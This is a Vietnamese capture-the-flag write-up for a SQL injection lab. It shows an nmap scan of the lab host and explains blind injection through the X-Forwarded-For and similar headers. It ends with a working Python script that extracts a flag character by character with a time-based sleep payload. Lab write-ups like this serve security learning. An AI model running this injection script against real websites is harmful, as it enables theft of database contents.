1. Mô tả:
Chờ máy một phút để khởi động và sau đó kết nối với http://10.10.18.149
Có 5 cờ để tìm nhưng bạn phải đánh bại các loại SQL injection khác nhau.
Hint: Trừ khi được hiển thị trên trang, các cờ được lưu trữ trong bảng cờ trong cột cờ.
2. Cách làm:
Đây là bài liên quan đến lỗi SQL injection. Mình sẽ thực hiện khai thác website này tìm 5 cờ nhé
Bước 1: Dò quét cổng dịch vụ
# Nmap 7.80 scan initiated Sun May 30 17:55:54 2021 as: nmap -sC -sV -oA nmap/initial 10.10.18.149
Nmap scan report for 10.10.18.149
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Mình thấy mở cổng 22, 80. Không có gì đặc biệt khác mình truy cập website
Bước 2: Khai thác dịch vụ web
Ý câu nói là chúng tôi phân tích IP của bạn nhằm mục đích nào đó. Thì trong kiểu tấn công SQLi có kiểu tấn công in-blind SQL ( tấn công ẩn), Một cách phổ biến để theo dõi IP máy khách là thêm tiêu đề vào yêu cầu web, chẳng hạn như 'X-Forwarded-For:', ngoài ra còn số tấn công vào header khác như:
- X-Originating-IP:
- X-Remote-IP:
- X-Remote-Addr:
- X-Forwarded-Host:
import requests
import time
import string
url = "" #Room IP
characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':'
flag = ""
counter = 1
payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '2') and '1'='1"
headers = {'X-Forwarded-For':payload}
while True:
for i in characterlist:
payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '{i}') and '1'='1"
headers = {'X-Forwarded-For':payload}
start = time.time()
r = requests.get(url, headers = headers)
end = time.time()
if end-start >= 2:
flag += i
counter += 1
break
print(flag)
if len(flag) >= 43:
exit(f"The Flag is: {flag}")
0 Comments